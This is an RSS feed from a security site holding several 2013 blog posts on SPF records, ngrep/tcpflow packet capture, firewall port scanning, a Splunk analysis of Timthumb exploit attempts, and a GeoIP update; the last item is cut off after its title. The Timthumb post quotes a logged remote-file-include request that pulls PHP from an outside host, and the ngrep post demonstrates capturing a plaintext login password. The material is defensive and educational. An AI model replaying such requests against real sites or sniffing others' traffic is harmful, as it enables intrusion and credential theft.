<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Online Vulnerability Scanners and Port Scans</title>
	<atom:link href="http://hackertarget.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://hackertarget.com</link>
	<description>Security Vulnerability Scanners and Assessments</description>
	<lastBuildDate>Tue, 21 May 2013 13:16:26 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>SPF Checked &#8211; a look at the Send Policy Framework</title>
		<link>http://hackertarget.com/spf-checked/</link>
		<comments>http://hackertarget.com/spf-checked/#comments</comments>
		<pubDate>Tue, 21 May 2013 12:55:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Research]]></category>
		<category><![CDATA[Site Updates]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[spf check]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=4290</guid>
		<description><![CDATA[<p>Heard of SPF but not sure how to pass an SPF check? Lets get back to basics and have a quick look at the SPF DNS record that can make your email delivery more reliable and less likely to hit the spam folder. An SPF record is a DNS TXT record that contains the IP [...]</p><p>The post <a href="http://hackertarget.com/spf-checked/">SPF Checked &#8211; a look at the Send Policy Framework</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Heard of SPF but not sure how to pass an SPF check? Lets get back to basics and have a quick look at the <span style="font-weight: 700;">SPF DNS record that can make your email delivery more reliable</span> and less likely to hit the spam folder.</p>
<p>An SPF record is a <code>DNS TXT</code> record that contains the IP addresses of the servers that are permitted to send email for a domain. My domain <a href="http://hackertarget.com">hackertarget.com</a> wants to send email to people all around the world when they sign up for services. By setting the SPF record I have indicated that only my servers and Google servers are allowed to send email on my behalf.</p>
<p>Google mail servers are included in my SPF record as I use Google Apps for as an email client for support operations.</p>
<p>Lets take a look using the DNS lookup tool <code>dig</code>. On Windows you could use the <code>nslookup</code> tool, just remember to set the type to TXT.</p>
<pre>dig -t txt hackertarget.com

; <<>> DiG 9.9.2-P1 <<>> -t txt hackertarget.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26126
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;hackertarget.com.		IN	TXT

;; ANSWER SECTION:
hackertarget.com.	3593	IN	TXT	"v=spf1 include:_spf.google.com ip4:178.79.163.23 ip6:2a01:7e00::f03c:91ff:fe70:d437 ~all"

;; Query time: 150 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)
;; WHEN: Tue May 21 22:06:31 2013
;; MSG SIZE  rcvd: 289</pre>
<p>Ok, there is a bunch of info in the output - we are focusing on the TXT record in the ANSWER section. Here's a quick tip for <code>dig</code> users, add <code>+short</code> to clean up that output.</p>
<pre>dig +short -t txt hackertarget.com
"v=spf1 include:_spf.google.com ip4:178.79.163.23 ip6:2a01:7e00::f03c:91ff:fe70:d437 ~all"</pre>
<p>The TXT record shows that _spf.google.com and my IPv4 and IPv6 addresses are the only ones allowed to send email that originates <code>from</code> @hackertarget.com addresses. Having <code>~all</code> on the end of the record indicates that email from other servers should still be accepted but it will given a weighting that indicates it could be spoofed. The server accepting the email has to have SPF in place as part of its mail filtering. So the weighting could result in added points in a spam assassin server as an example.</p>
<p>If you use Gmail, check the headers of any email going into Gmail, you will notice Google is performing SPF checks on incoming email. It uses the SPF check as one part of its spam parsing algorithm.</p>
<h2>What is the advantage of an SPF Check?</h2>
<p>As I have mentioned SPF checks can be used as a factor in assessing spam. A spammer will send thousands of messages with a forged SMTP header pretending to be a legitimate email account. With a SPF check email from your domain and from your servers are marked as legitimate, while others are either blocked or flagged as possibly suspicious.</p>
<p>It is a similar case for spear phisherman who can send a forged email pretending to be someone in your organisation to another with the aim of getting them to click on a malicious link or document. An SPF check will reduce the likelihood of the email reaching the victims Inbox.</p>
<h2>Some things keep in mind when implementing SPF records</h2>
<p>It is free to add it to your domain, simply add a TXT record to your DNS.<br />
* Having it is a good idea, your email will be more likely to be accepted by SPF enabled email servers and not put in the spam folder. Both Microsoft and Google are using SPF as part of email delivery for Outlook.com and Gmail respectively.<br />
* There is a gotcha when it comes to email forwarding, if you forward email from external parties to another mail service (such as Gmail), the original sender information stays intact but since your server that is forwarding the mail is not in the SPF record for that external mail then the destination server may give the forwarded message an <code>SPF Fail</code>.<br />
* IPv6 - don't forget to add it to your SPF record if you have it enabled. While we have IPv6 up on HackerTarget.com for the web site, I discovered that email to Gmail was also going out via IPv6. Hence the addition of our IPv6 address to the SPF TXT record.</p>
<p>Get more information from the <a href="http://en.wikipedia.org/wiki/Sender_Policy_Framework">Send Policy Framework Wikipedia</a> page.</p>
<p>The post <a href="http://hackertarget.com/spf-checked/">SPF Checked &#8211; a look at the Send Policy Framework</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/spf-checked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ngrep and tcpflow &#8211; packet capture on a shoestring</title>
		<link>http://hackertarget.com/ngrep-tcpflow-packet-capture-on-a-shoestring/</link>
		<comments>http://hackertarget.com/ngrep-tcpflow-packet-capture-on-a-shoestring/#comments</comments>
		<pubDate>Wed, 08 May 2013 14:38:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[ngrep]]></category>
		<category><![CDATA[packet capture]]></category>
		<category><![CDATA[tcpdump]]></category>
		<category><![CDATA[tcpflow]]></category>
		<category><![CDATA[wireshark]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=4276</guid>
		<description><![CDATA[<p>The Ngrep and TCPflow packet capture tools are useful for fast access to packets on the wire. As you will see they make grabbing text out of the network stream a piece of cake. You may have heard of Wireshark (formerly Ethereal), a powerful network packet capture tool that enables a user to grab packets [...]</p><p>The post <a href="http://hackertarget.com/ngrep-tcpflow-packet-capture-on-a-shoestring/">ngrep and tcpflow &#8211; packet capture on a shoestring</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>The <a href="http://ngrep.sourceforge.net/" title="ngrep project site">Ngrep</a> and <a href="http://sourceforge.net/projects/tcpflow/" title="tcpflow">TCPflow</a> packet capture tools are useful for fast access to packets on the wire. As you will see they make grabbing text out of the network stream a piece of cake.</p>
<p>You may have heard of <a href="http://www.wireshark.org" title="Wireshark the office suite of pcaps">Wireshark</a> (formerly Ethereal), a powerful network packet capture tool that enables a user to grab packets off the wire, load pcaps and analyse the data all in one GUI. While Wireshark is a must have tool for many IT pro&#8217;s there are times when a simple command line tool can get the job done faster.</p>
<h2>Ngrep &#8211; or Network Grep</h2>
<p>On your Ubuntu (or Debian based) system it is a simple matter of installing with apt-get. Under Fedora, Centos or RHEL if the package is not available in the repos, grab a copy of the rpm and install with a simple <code>rpm -ivh</code> (no dependencies required).</p>
<pre>testbox:~#apt-get install ngrep
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following NEW packages will be installed:
  ngrep
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 29.1 kB of archives.
After this operation, 92.2 kB of additional disk space will be used.
</pre>
<p>Wow, take a look at that &#8211; 29.1kB had to be downloaded and 92.2 kB of disk space has been used by this tool. Maybe I should get a bigger hard drive!!</p>
<p>A couple of basic examples to get you started with ngrep.</p>
<pre>testbox:~#ngrep -d wlan0 '^POST'
interface: wlan0 (192.168.1.0/255.255.255.0)
match: ^POST
</pre>
<p>The syntax is <code>-d wlan0</code> for the device you wish to capture from, followed by the expression to match. This example will match packets with POST at the start of the line, or HTTP POST requests in a simple text output format. The &#8216;#&#8217; marks indicate packets that did not match the expression. Further filtering can be done on ports and ip addresses.</p>
<p>Here is a more telling example to give you an idea of the possibilities.</p>
<pre>testbox:~#ngrep -t -d wlan0 'pwd'
interface: wlan0 (192.168.1.0/255.255.255.0)
match: pwd
#############
T 2013/05/08 23:30:46.559360 192.168.1.100:48187 -> 173.255.232.18:80 [AP]
  POST /wp-login.php HTTP/1.1..Host: hackertarget.com..User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0..Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8..Accept-Language: en-US,en;q=0.5..Accept-Encoding: gzip, deflate..Referer: http://hackertarget.com/wp-login.php..Connection: keep-alive..Content-Type: application/x-www-form-urlencoded..Content-Length: 106....log=admin&#038;<span class="shortcode-highlight"></span><!--/.shortcode-highlight-->pwd=testpassword<span class="shortcode-highlight"></span><!--/.shortcode-highlight-->&#038;wp-submit=Log+In&#038;redirect_to=http%3A%2F%2Fhackertarget.com%2Fwp-adminF&#038;testcookie=1                                                                                                              
###############################################################################################################^Cexit
124 received, 0 dropped</pre>
<p>The addition of the <code>-t</code> will put a timestamp on the matching results. Notice what I have done here, a simple <code>grep</code> for the string &#8216;pwd&#8217; has shown the HTTP POST request with my login and password for the <a href="http://hackertarget.com/" title="Security Vulnerability Services">http://hackertarget.com/</a> login page. A quick example that demonstrates the importance of using the SSL version of the site (https://hackertarget.com/).</p>
<h2>tcpflow &#8211; logging all the datas</h2>
<p>With tcpflow the installation is similar to that of ngrep, at least under Ubuntu. </p>
<pre>apt-get install tcpflow</pre>
<p>tcpflow will log all the tcpflows &#8211; or TCP sessions into text files in the current directory where it runs. Use tcpdump command line switches for determining what to capture.</p>
<pre>tcpflow -i wlan0 'port 80'</pre>
<p>This example will capture all HTTP flows over port 80 and store them as text files. A great way to troubleshoot web applications, or network protocols.</p>
<h2>Tshark &#8211; another worthy command line packet capture tool</h2>
<p>tshark is part of the Wireshark package, and is basically a text or console based version of Wireshark. It has many options and can be used to perform much of what ngrep and tcpflow do. However, the advantage of ngrep and tcpflow is their simplicity and ease of use. It will often come down to what tools you have available on the system.</p>
<p>These examples just touch the surface whether troubleshooting or performing security analysis; any plain text protocol can be inspected, <code>POP3</code>, <code>SMTP</code>, <code>IRC</code>, <code>DNS</code> and <code>HTTP</code> are just a few possibilities. On a related note the excellent <a href="http://hackertarget.com/bro-ids-ubuntu/" title="Install Bro on Ubuntu">bro</a> (no longer <a href="http://www.bro.org/" title="Bro">bro-ids</a>) performs excellent flow analysis and is a tool worth investigating if you are performing security related packet captures.</p>
<div class="woo-sc-box alert   ">Keep in mind that as with any packet capture tool, when using ngrep, tcpflow, tshark or wireshark ensure you have permission from management or legal that you are allowed to be looking closely at those packets, especially if there are other peoples traffic traversing the system you are on.</div>
<p>The post <a href="http://hackertarget.com/ngrep-tcpflow-packet-capture-on-a-shoestring/">ngrep and tcpflow &#8211; packet capture on a shoestring</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/ngrep-tcpflow-packet-capture-on-a-shoestring/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firewall Testing with a remote Port Scanner</title>
		<link>http://hackertarget.com/firewall-test/</link>
		<comments>http://hackertarget.com/firewall-test/#comments</comments>
		<pubDate>Wed, 06 Mar 2013 12:06:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Research]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[check ports]]></category>
		<category><![CDATA[firewall test]]></category>
		<category><![CDATA[open ports]]></category>
		<category><![CDATA[port scanner]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=4157</guid>
		<description><![CDATA[<p>A Firewall Test conducted by an external port scanner will quickly identify open services and weakness in firewall configurations. In this post I will revisit some of the benefits of a remote firewall test and cover the basics of why a firewall is still an important part of any Internet connected system. Why you need [...]</p><p>The post <a href="http://hackertarget.com/firewall-test/">Firewall Testing with a remote Port Scanner</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>A Firewall Test conducted by an external port scanner will quickly identify open services and weakness in firewall configurations. In this post I will revisit some of the benefits of a remote firewall test and cover the basics of why a firewall is still an important part of any Internet connected system.</p>
<div class="woo-sc-box download   "><a href="http://hackertarget.com">HackerTarget.com</a> provides a hosted <a href="http://hackertarget.com/nmap-online-port-scanner/" title="Online Port Scanner">Nmap port scanning service</a> as part of its suite of online open source security tools. By delivering accurate open port information to network and server owners, security awareness of infrastructure is increased and potential holes can be plugged.</div>
<h2>Why you need an external port scanner</h2>
<p>To understand how vulnerable your systems are to external attackers, you need to understand what they look like on the network from an external or Internet facing perspective. A port scan conducted from outside a network perimeter will map and identify vulnerable systems.</p>
<p>Technical operations staff need to know what their network perimeter looks like from the outside. The perimeter may be a single IP gateway, a hosted Internet server or a whole Class B network; it does not matter &#8211; you need to understand what services Internet based threats can see and what they are able to access.</p>
<p>If you are a systems administrator or a security analyst for an organisation having access to an external port scanner will provide a number of benefits; The most important being that you should <span class="shortcode-highlight">understand and know exactly what services are listening on your perimeter</span><!--/.shortcode-highlight-->. Testing should be performed at least monthly and ideally more often, to monitor for changes to the perimeter.</p>
<h2>Firewall Testing</h2>
<p>A <a href="http://en.wikipedia.org/wiki/Firewall_%28computing%29">firewall&#8217;s</a> primary function is to block unauthorised packets from being able to reach listening services. The firewall can be situated on the perimeter of an organisations network or it can be on an internal network. It can also be on the end point whether that is a client desktop or a Internet server such as a web server or mail server.</p>
<p>Multiple firewalls and filtering devices increases the complexity of assessing a network. Using a port scanner one is able to quickly assess what ports are being permitted through the various layers of defence and are able to reach services on the end point host.</p>
<p>To effectively test a firewall and network for external access points, it is necessary to perform the port scanning from a remote host. By using the <a href="http://hackertarget.com/">HackerTarget.com</a> hosted <a href="http://hackertarget.com/nmap-online-port-scanner" title="online port scanner">online port scanner service</a> you are able to quickly test a range of IP Addresses or a single IP address. All 65&#8217;535 ports can be tested at the click of a mouse, with the results delivered to your email address for review.</p>
<p>From the results of the port scan you are able to determine the state of a port:<br />
<div class="shortcode-unorderedlist bullet"></p>
<ul>
<li>Filtered &#8211; (Packet is Dropped) this indicates the port is being filtered by a Firewall or Router, this is recommended state for any port that does not have a listening service on it.</li>
<li>Closed &#8211; (Packet is Denied &#8211; response sent) this indicates traffic destined to this port is being allowed past any firewall / router devices and is arriving at the destination host (which has no listening service running on that port).</li>
<li>Open &#8211; (TCP Handshake Established) this indicates that a connection to a listening service has been made. This state should only be found on services that have a requirement to be externally facing (HTTP 80 and SMTP 25 are two examples of common external facing services).</li>
</ul>
<p></div>
</p>
<h3>Why ingress firewall filtering is required</h3>
<p>Restrict access to vulnerable services, reduce attack surface of Internet facing systems and reduce ability of an attacker to open back-doors on Internet facing ports.</p>
<h3>Why egress firewall filtering is required</h3>
<p>Data ex-filtration and outbound initiated remote access. Command shells and other remote access can be achieved by a system initiating an outbound connection. Limiting the available outbound ports can make this outbound communication more difficult for an attacker. Note &#8211; this does not entirely solve the problem as advanced tools and attackers are able to initiate communication through multiple means including over https proxy servers, STMP and even DNS queries.</p>
<h2>Troubleshooting Network Services</h2>
<p>When installing and configuring Internet facing services it will often be necessary to troubleshoot a network configuration in order to get a service up and running. For example you may have correctly setup the service on the server with everything operating correctly, however an external firewall may be blocking remote access to this service.</p>
<p>While the situations in which network troubleshooting is required are varied, it is a common methodology to perform an external port scan against the network port or system to quickly understand where the problem may lie. If you are able to connect to a service from the internal host but unable to connect from external, you can make a pretty good guess at where the problem might lie. By performing a port scan using an <a href="http://hackertarget.com/nmap-online-port-scanner/" title="external port scan">external online port scan</a> you are able to quickly confirm that all the required services are being filtered &#8211; hence your troubleshooting can move to looking at any external or host based firewalls that are blocking that port.</p>
<h2>Mapping Networks and Services</h2>
<p>In order to determine how vulnerable a network or host is to exploitation, it is necessary to know what services are running and whether they are externally facing (or accessible from the Internet). By performing a remote port scan against the network IP range or against a specific host it is possible to determine not only the open ports but also the types of services running on those ports. This is known as service detection and is a feature of most well known port scanners such as the <a href="http://nmap.org">nmap port scanning tool</a>.</p>
<p>Further more identification of the actual operating system is also possible, either from the service identification or through more low level analysis of the packets coming back from the host.</p>
<p>System and network administrators will also utilize <a href="http://hackertarget.com/port-scanner/" title="introduction to port scanners">port scanners</a> to map the external network of a host or organisation. Networks change over time and documentation is not always kept current, so a quick port scan of the services listening on a network will help a system administrator to understand the layout of the network.</p>
<p>The post <a href="http://hackertarget.com/firewall-test/">Firewall Testing with a remote Port Scanner</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/firewall-test/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>There are no WordPress Timthumb Hackers in Mongolia</title>
		<link>http://hackertarget.com/feed-splunk-timthumb-attacks/</link>
		<comments>http://hackertarget.com/feed-splunk-timthumb-attacks/#comments</comments>
		<pubDate>Thu, 07 Feb 2013 12:40:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Research]]></category>
		<category><![CDATA[splunk]]></category>
		<category><![CDATA[timthumb]]></category>
		<category><![CDATA[wordprsess]]></category>
		<category><![CDATA[wpscan]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=4099</guid>
		<description><![CDATA[<p>What is Timthumb? Back in August 2011 a serious vulnerability was found in many popular WordPress themes and Plugins. The code that enabled automatic thumbnail creation when publishing with the WordPress content management system. While not a part of the WordPress core, the code had been reused by many developers including both commercial and free [...]</p><p>The post <a href="http://hackertarget.com/feed-splunk-timthumb-attacks/">There are no WordPress Timthumb Hackers in Mongolia</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></description>
	<script src="https://apis.google.com/js/plusone.js" type="text/javascript">
</script>
<script type="text/javascript">gapi.plusone.go();</script>
			<content:encoded><![CDATA[<h3>What is Timthumb?</h3>
<p>Back in August 2011 a serious vulnerability was found in many popular WordPress themes and Plugins. The code that enabled automatic thumbnail creation when publishing with the WordPress content management system. While not a part of the WordPress core, the code had been reused by many developers including both commercial and free theme builders.</p>
<p>The critical vulnerability is a <a href="http://en.wikipedia.org/wiki/Remote_file_inclusion" title="Wikipedia Remote File Include">remote file include</a> (RFI) that allows an attacker to have the <span class="shortcode-highlight">thumb.php</span><!--/.shortcode-highlight--> code include additional code to execute PHP on the web server. An attacker will attempt to use this vulnerability to execute commands on the web server.</p>
<p>So widespread was the vulnerability that attackers have been compromising WordPress installations for the past 18 months and continue to do so. Just yesterday my <a href="http://hackertarget.com/ossec-introduction-and-installation-guide/" title="OSSEC Install and Guide">OSSEC host based intrusion detection system</a> alerted me to continued attempts at exploiting the timthumb vulnerability.</p>
<pre>61.246.x.x - - [02/Feb/2013:18:33:28 +0000] "GET /wordpress-themes-in-top-1-million-websites/wp-content/themes/suffusion/timthumb.php?src=http://picasa.com.c        t.ro/wordpress.php HTTP/1.1" 404 36 "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0"</pre>
<p>This is an example attack from my logs a few days ago, you can see the WordPress path being attempted, the theme name and the <span class="shortcode-highlight">?src=</span><!--/.shortcode-highlight--> is the URL of the remote include PHP code.</p>
<p>Anyone who has patched the vulnerability with updated code is not affected by these ongoing attempted attacks, they simply fill your web server log files with attempts to execute thumb.php on various common paths resulting in <span class="shortcode-highlight">404 not found errors</span><!--/.shortcode-highlight-->.<br />
<div class="woo-sc-divider"></div></p>
<h3>What is Splunk?</h3>
<p><img src="http://cdn.hackertarget.com/splunk-logo.png" style="border: 0px; float: right; padding-left: 20px;">If your job involves looking at logs then you should spend some cycles playing with the <a href="http://www.splunk.com">Splunk Search engine</a>. It is a commercial product, but comes in a free version that allows you to consume 500mb of logs per day. Great for performing adhoc analysis or small to mid-size projects.</p>
<p>In order to perform some simple analysis of my web server logs to view the frequency, sources and attempts to exploit this timthumb vulnerability I have turned to Splunk.<br />
<div class="woo-sc-divider"></div></p>
<h1>Feeding Splunk a year of Timthumb Attacks</h1>
<h2>Timthumb Events per month over 1 year</h2>
<div style="width: 300px; float: right; box-shadow: 3px 4px 4px 2px #666; font-size: 13px; line-height: 16px; font-weight: 500; padding-left: 20px; padding-top: 10px; padding-bottom: 20px; margin-left: 20px; margin-right: 10px;"><img src="http://cdn.hackertarget.com/wpscan-logo.png" style="border: 0px; padding: 10px;" title="WPScan is an open source project that can be used to detect vulnerabilities in WordPress installations"><br /><span style="padding: 15px;"><a href="http://www.wpscan.org">WPScan</a> is an Open Source Scanner that can detect security issues with WordPress installations, including timthumb vulnerabilities. A <a href="http://hackertarget.com/" title="Online Security Vulnerability Scanners">hosted</a> version of this tool is available in our active <a href="http://hackertarget.com/wordpress-security-scan/" title="WordPress Scanner">WordPress Security Scan</a>.</span></div>
<p>To begin I <a href="http://hackertarget.com/install-splunk-ubuntu-in-5-mins/" title="Install Splunk on Ubuntu">installed Splunk</a> and fed it a single file. The file contained 12 months worth of logs from my Nginx web server, I used grep to only feed log entries that included <span class="shortcode-highlight">thumb</span><!--/.shortcode-highlight--> in the path and resulted in a 404 not found. In other words every log event that I have in my Splunk instance is a single attempt to exploit the timthumb vulnerability.</p>
<p>Since the data in my Splunk instance is only made up of timthumb exploit attempts the initial search string shows all the attempts per month over the 12 months.</p>
<div style="width: 550px;">
<pre>source="/home/fred/nginx-logs/access-complete-thumb.txt"</pre>
</div>
<p><img src="http://cdn.hackertarget.com/timthumb-events-per-month.png" title="Timthumb events per month" style="border: 0px;"> </p>
<p>It is clear from this simple query that even though the initial vulnerability was released in August 2011, there was a major jump in the number of attacks against my server from July 2012. The reason for the increased number of attempts appears to be an increase in the tested paths of the timthumb code (more known bad themes). These lists are then included in the attack scripts.<br />
<div class="woo-sc-divider"></div></p>
<h2>Where did the attacks come from?</h2>
<p>Using the <a href="http://splunk-base.splunk.com/apps/22282/geo-location-lookup-script-powered-by-maxmind">Splunk GeoIP APP</a> it is a simple matter to determine where the attacks are coming from. Once you have the base lookup working Splunk makes it easy to chart the results of the top countries or cities.</p>
<pre>source="/home/fred/nginx-logs/access-complete-thumb.txt" | lookup geoip clientip | top 20 client_country</pre>
<p>This query shows the Top 20 countries for total number of attacks.</p>
<p><img src="http://cdn.hackertarget.com/top-20-countries.png" title="Top 20 total attacks" style="border: 0px;"></p>
<p>Since some of these IP addresses are sending thousands of attempts, I will take a closer look at the number of <span class="shortcode-highlight">unique IP addresses</span><!--/.shortcode-highlight--> by location. Instead of a simple chart I will use the Google Map APP that allows the geolocations to be plotted onto a Google Map. Using a map takes this visualization to the next level. A great way to impress the boss with a couple of clicks!!</p>
<p><img src="http://cdn.hackertarget.com/google-map-of-attacking-ips.png" style="border: 0px;" title="Google Map of GeoIP exploit attempts"></p>
<p><span style="font-weight: 600; font-size: 1.2em;">From a quick look at the map it is apparent that there are <i>no timthumb hackers in Mongolia.</i></p>
<pre>source="/home/fred/nginx-logs/access-complete-thumb.txt" | stats count by clientip | geoip clientip</pre>
<div class="woo-sc-divider"></div>
<h2>Top attacking IP Addresses</h2>
<p>Piping the search into <span class="shortcode-highlight">top 20 clientip</span><!--/.shortcode-highlight--> shows the top attacking IP address as 178.25.214.92 with 2445 events. Click on the IP address and it easy to see that all attempts from this IP occurred during an 8 minute window on the 30th of August 2012. <span class="shortcode-highlight">Whois</span><!--/.shortcode-highlight--> shows this IP address is a broadband connection in Germany.</p>
<pre>source="/home/fred/nginx-logs/access-complete-thumb.txt" | top 20 clientip</pre>
<p><img src="http://cdn.hackertarget.com/8minutes-of-attempts.png" style="border: 0px;"></p>
<pre>source="/home/fred/nginx-logs/access-complete-thumb.txt" clientip="178.25.214.92"</pre>
<div class="woo-sc-divider"></div>
<h2>Most Attacked WordPress Themes</h2>
<p>To extract the most popular themes that are being attacked I have used a regex on /wp-content/themes/ to get the theme path. It is clear that many of the attacked themes in the top 20, correlate with the <a href="http://hackertarget.com/wordpress-themes-in-top-1-million-websites/" title="Popular themes in top 1 million site">most popular WordPress themes in the Top 1 million websites</a>.</p>
<pre>source="/home/fred/nginx-logs/access-complete-thumb.txt" | rex field=_raw "wp-content\/themes\/(?<wptheme>[\w\-]*)" | top 20 wptheme</pre>
<p><img src="http://cdn.hackertarget.com/top20-attacked-wordpress-themes.png" style="border: 0px;"></p>
<p>Looking at the most attacked WordPress themes I discovered that some attacks were not &#8220;blind&#8221; attempts, they were targeted against my theme that I have on a non-standard path. This indicates my site was explicitly targeted either manually after extraction of the path from the HTML source of my page or by a script parsing the HTML for those attempts. 31 different IP addresses had a go at my non-default theme path. In the top 5 I found 3 web hosting net blocks (Sweden, Germany and the USA), a Greek university and two Tor exit nodes.</p>
<pre>source="/home/fred/nginx-logs/access-complete-thumb.txt" uri_path="/wp-content/themes/delegate2.3/functions/thumb.php" | top clientip</pre>
<p>I have really only the scratched the surface of what is possible when using Splunk to analyse your web logs for attacks and other issues. Install it, and start playing you will not be disappointed. For those who are wary of the Splunk price tag for larger amounts of data I suggest taking a look at <a href="http://code.google.com/p/enterprise-log-search-and-archive/" title="Enterprise Log Search and Archive">ELSA</a> and <a href="http://graylog2.org/">GreyLog2</a>, these are both open source log management systems that seem promising and are developing rapidly.</p>
<p><div class="shortcode-google-plusone"><div class="g-plusone"  data-size="tall" data-annotation="none"></div></div><!--/.shortcode-google-plusone-->

 
<div class="woo-fblike none">
<iframe src="http://www.facebook.com/plugins/like.php?href=http://hackertarget.com/feed-splunk-timthumb-attacks/&#038;layout=standard&#038;show_faces=false&#038;width=450&#038;action=like&#038;colorscheme=light&#038;font=arial&#038;locale=en_US" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:auto; height:25px;"></iframe>
</div>
	</p>
<p>The post <a href="http://hackertarget.com/feed-splunk-timthumb-attacks/">There are no WordPress Timthumb Hackers in Mongolia</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/feed-splunk-timthumb-attacks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Update GeoIP data for Splunk App</title>
		<link>http://hackertarget.com/update-geoip-data-for-splunk-app/</link>
		<comments>http://hackertarget.com/update-geoip-data-for-splunk-app/#comments</comments>
		<pubDate>Wed, 06 Feb 2013 07:04:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Research]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[geoip]]></category>
		<category><![CDATA[splunk]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=4097</guid>
		<description><![CDATA[<p>If you are using the GeoIP app for Splunk you will find that it has not been updated recently. The last update was June 2011. Following my recent post regarding the installation of Splunk on an Ubuntu based system I started to dig into this app and found that it is a simple matter to [...]</p><p>The post <a href="http://hackertarget.com/update-geoip-data-for-splunk-app/">Update GeoIP data for Splunk App</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></description>
				<content:encoded><![CDATA[<p><img src="http://cdn.hackertarget.com/splunk-logo.png" style="border: 0px; float: right;">If you are using the GeoIP app for Splunk you will find that it has not been updated recently. The last update was June 2011. Following my recent post regarding the <a href="https://hackertarget.com/install-splunk-ubuntu-in-5-mins/" title="Install Splunk on Ubuntu">installation of Splunk on an Ubuntu</a> based system I started to dig into this app and found that it is a simple matter to update the MaxMind GeoIP Lite database to the latest version.</p>
<p>Head over to the MaxMind website and grab the latest version of the GeoLiteCity.dat.gz file. </p>
<p>Download: <strong><a href="http://dev.maxmind.com/geoip/geolite" title="MaxMind Download">http://dev.maxmind.com/geoip/geolite</a></strong></p>
<p>Now uncompress the download with gzip.</p>
<pre>gzip -d GeoLiteCity.dat.gz</pre>
<p>If you take a look in <span class="shortcode-highlight">/opt/splunk/etc/apps/maps/bin/</span><!--/.shortcode-highlight--> of your Splunk install you will see the version of the GeoLiteCity.dat file is August 20, 2011. Time to update it to the latest version.</p>
<pre>cp GeoLiteCity.dat /opt/splunk/etc/apps/maps/bin/</pre>
<p>Start searching Splunk with the latest GeoIP data from <a href="http://www.maxmind.com" title="MaxMind GeoIP Information">MaxMind</a>. It really is that easy. <img src='http://cdn.hackertarget.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>The post <a href="http://hackertarget.com/update-geoip-data-for-splunk-app/">Update GeoIP data for Splunk App</a> appeared first on <a href="http://hackertarget.com">Online Vulnerability Scanners and Port Scans</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/update-geoip-data-for-splunk-app/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Install Splunk on Ubuntu in 5 mins</title>
		<link>http://hackertarget.com/install-splunk-ubuntu-in-5-mins/</link>
		<comments>http://hackertarget.com/install-splunk-ubuntu-in-5-mins/#comments</comments>
